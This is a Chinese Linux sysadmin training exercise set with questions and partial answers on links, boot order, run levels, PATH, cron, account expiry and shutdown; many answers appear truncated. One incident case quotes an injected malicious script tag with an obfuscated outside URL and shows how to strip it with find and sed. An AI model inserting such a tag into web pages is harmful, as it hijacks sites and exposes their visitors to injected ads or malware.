标签(空格分隔): Linux辅助训练-陈思齐
---更多资料点我查看
提示:本阶段性练习题是对《实战教学笔记》相应章节知识的归纳与扩展部分,必须要 会,是面试前必须重温的一套基础练习(第一阶段即为实战教学笔记第四节 Linux命令 基础)。
本文涉及的命令有: w,who,users,last,lastlog,mkdir,chmod,cut,awk,sed,setup,ifconfig,route,date,sudo,which,whereis,locate,find,shutdown,reboot,useradd,chage,grep,echo,stat
本文涉及的知识有: (1)软链接知识, (2)开机启动知识 (3)系统运行级别 (4)文件删除原理 (5)正则表达式 (6)linux基础系统网络配置 (7)linux PATH环境变量知识 (8)定时任务 (9)linux 系统权限知识 (10)系统重要路径知识 (11)linux常用快捷键知识
1,开机BIOS自检,加载硬盘 2,MBR引导 3,grub菜单 4,加载内核kernel 5,启动init进程 6,读取inittab配置文件 7,执行/etc/rc.d/rc.sysinit初始化脚本 8,根据启动级别运行/etc/rc.d/rc.d/目录下的一系列软链接脚本(对应启动级别) 9,运行/etc/rc.d/rc.local个人配置脚本 10,执行/bin/login登陆脚本登陆
1,如何创建
默认不带参数情况下,ln命令创建的是硬链接,带-s参数的ln命令创建的是软链接
2,含义:
硬链接文件与源文件的inode节点号相同,而软链接文件相当于windows下面的快捷方式(inode节点号与源文件不同)
3,特点:
不能对目录创建硬链接,但可以创建软链接,对目录的软链接会经常被用到。 软链接可以跨文件系统,硬链接不可以跨文件系统
4,软硬链接和源文件的删除
删除软链接文件,对源文件及硬链接文件无任何影响 删除文件的硬链接文件,对源文件及软链接文件无任何影响 删除链接文件的源文件,对硬链接文件无影响,会导致其软链接失效(红底白字闪烁妆) 同时删除源文件及其硬链接文件,整个文件才会被真正的删除
1,单引号:
可以说是所见即所得,也就是将单引号内的内容原样输出,或者描述为单引号里面看到的是什么就会输出什么。
2,双引号:
把双引号内的内容输出出来,如果内容中有命令,变量等,会先把变量,命令解析出结果,然后在输出最终内容来。
3,无引号:
与双引号类似,但支持通配符
把内容输出出来,可能不会将含有空格的字符串视为一个整体输出,如果内容中有命令,变量等,会先把变量,命令解析出结果,然后在输出最终内容来,如果字符串中带有空格等特殊字符,则不能完整的输出,需要改加双引号,一般连续的字符串,数字,路径等可以用,不过最好用双引号替代之。
0:关闭计算机 1:单用户模式 2:没有NFS网络文件系统的多用户模式 3:命令(文本)模式 4:保留模式 5:图形桌面模式 6:重启计算机
linux文件删除原理
linux是通过link的数量来控制文件删除的,只有当一个文件不存在任何link的时候,这个文件才会被删除。一般来说,每个文件都有2个link计数器:i_count和i_link. i_count的意义是当前文件使用者(被调用)的数量,i_link的意义是介质连接的数量(硬链接的数量);可以理解为i_count是内存的引用计数器,i_link是磁盘的引用计数器 当一个文件被某一个进程引用时,对应i_count数就会增加;当创建文件的硬链接的时候,对应i_link数就会增加 对于删除命令rm而言,实际就是减少磁盘引用计数i_link。 对于linux系统来讲,只有当i_link和i_count数量同时为0时,系统才会将文件删除。答: 方法一:ll + tr + awk 方法二:stat + grep + egrep 方法三:stat + sed + awk 方法四:stat + awk + sed 方法五:stat +sed的反向引用 方法六:stat +sed +cut 方法七:stat -c
本题方法有很多,请同学们将之前所学知识融会贯通。(相信学习到这里的同学已经渐渐开始明白sed,awk 正则之强大)
答:
新创建的文件夹默认两个硬链接数
在文件夹里在创建一个文件夹,当前文件夹硬链接数变成3个
答: 方法一:cut解决 方法二:sed解决 方法三:awk解决 awk简化实现方法 方法四:egrep解决
方法还是很多,这里就不一一举例了,目前辅助训练已经进入了第三阶段,在本阶段里,所有同学都应该将grep,egrep,sed,awk,cut,正则,扩展正则用熟练,这是作为运维人员的基础核心能力之一,非常重要。
答: /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/resolv.conf
题目背景:
这是根据一个IT公司遇到的实际问题改编的题,当时的情况是:一个lamp服务器,站点目录下所有文件均被植入了如下内容:
<script language=javascript src=http://%4fExorg.p%o/x.js?google_ad=93x28_ad></script>包括图片文件也被植入了,网站打开时就会调用这个地址,显示一个广告,造成的影响很恶劣,虽然问题现在看起来简单,但当时该公司的两个linux运维花了很久都没搞定 实际解决办法: 思路是,需要遍历所有目录所有文件,把以上被植入的内容删除掉 一,通过find找出需要修改的文件: find /chensiqi -type f 二,在生产环境下可以先通过grep -l查看一下预删除的被篡改内容的文件的文件名 find /chensiqi -type f | xargs grep -l "篡改的内容" 三,删除掉被篡改的内容 find /chensiqi -type f | xargs sed -i 's#被篡改内容##g' 或: find /chensiqi -type f -exec sed -i 's#被篡改内容##g' {} \; 当时的处理过程: 1,和运维人员确认确实出问题了,并详细确认问题情况。 2,制定处理方案,先备份已有数据,然后,执行命令批量修改回来 3,写解决说明(类似本例这样),写完发给她们的运维 4,询问处理结果,并告知详细查看日志,寻找问题发生来源 5,提供亡羊补牢解决方案(站点目录严格权限规划方案及新上线发布规范思路) 从发现到解决的过程: 1,运营人员,网站用户发现问题,网站有弹窗广告 2,运营人员报给开发人员,开发联系运维人员,开发和运维共同解决 3,开发发现问题原因就是所有站点目录被嵌入了一段JS代码 4,运维人员解决问题 综上: a,我们需要先备份原始出现问题的原始文件 b,历史备份覆盖出现问题的文件,先让问题立刻消失 c,find+sed 替换出现问题的原始文件,在测试服务器上看看问题是否解决 d,详细查看日志,寻找问题发生的来源 e,提供亡羊补牢解决方案(站点目录严格权限规划方案及新上线发布规范思路)
本虚拟题目解决方法 方法一:exec解决
方法二:xargs解决
答:chmod 645 文件名
[test@chensiqi ~]$ sudo su - chensiqi
答:当前登录的test用户的密码
echo "chensiqi";echo "chensiqi" 答:本题考察echo的-n参数。
答:date +%F_%w
[chensiqi@chensiqi ~]$ ifconfig -bash:ifconfig:command not found 提示:c58会遇到,c64没有此问题
请问这是为什么?如何解决,请给出详细解决过程。 答:
要想解决这个问题,我们需要明白,当我们输入一个命令以后,系统发生了什么?
当你输入一个命令以后,linux会先去$PATH里去找这个命令 如果$PATH里没有这个命令的上级目录文件夹,那么命令自然就找不到 因此,我们需要export PATH=/sbin/:\$PATH将命令的路径加入到环境变量里(临时生效) 或者,echo "export PATH=/sbin/:$PATH" >> /etc/profile(永久生效) 还可以放到用户的配置文件里,让某个用户登录时生效,(用户家目录下的.bash_profile)答:date +%F -d "-3 day"
-d 指定日期打印 -3 day,3天前 -d “+3 day” 指定3天后打印日期
请问如何把文件中的空格过滤掉(要求命令行实现) 答: 方法一:grep或egrep 如果是空行则需要^$来过滤
方法二:awk
chensiqi chhensiiqiedu test
请使用grep或egrep正则匹配的方式过滤出前两行内容 答:
/var/log/messages
linux日志文件绝对路径
/var/log/secure
linux安全日志文件绝对路径(用户登录日志)
/var/spool/clientmqueue
linux邮件临时目录
/proc/interrupts
查看中断文件
/etc/fstab
linux开机自动挂载配置文件绝对路径
/etc/profile
linux全局变量配置文件绝对路径
答:
which ifconfig whereis ifconfig
答:
每周日上午9:30分运行脚本chensiqi.sh 30 09 * * 0 /bin/sh chensiqi.sh > /dev/null
答:w
答:
linux下控制账户过期的方法: 企业里一般给无人管理的角色账户或开发人员临时需求等可以设定账户有效期,提升安全
方法一:添加用户时
useradd chensiqi -e 01/28/12 (临时指定某个用户的失效时间) useradd -D -e 01/28/12(永久修改创建用户时的默认失效时间) 或直接修改下面文件的参数 还原用户默认失效时间 查看某用户的账户属性方法二:修改账户属性 usermod -e 12/26/17 chensiqi
方法三:调整账户过期时间 chage -E 12/26/17 chensiqi
答: 关机:
shutdown -h now 立刻关闭(生产环境常用) shutdown -h 1 1分钟后关机 init 0 切换运行级别到0 halt 立即停止系统,需要人工关闭电源(生产环境常用) poweroff 立即停止系统,并且关闭电源重启: reboot (生产环境常用) shutdown -r now (生产环境常用) shutdown -r 1 1分钟以后重启 init 6
注销 logout exit ctrl + d (生产环境常用)
Ctrl + a:切换到命令行开始 Ctrl + c:终止当前命令或脚本 Ctrl + d:退出当前shell Ctrl + e:切换到命令行末尾 Ctrl + l:清除屏幕内容,相当于clear Ctrl + u:清除(剪切)光标之前的内容 Ctrl + k:清除(剪切)光标之后的内容 tab :命令补全 Ctrl + shift + c:命令行复制内容 Ctrl + shift + v:命令行黏贴内容
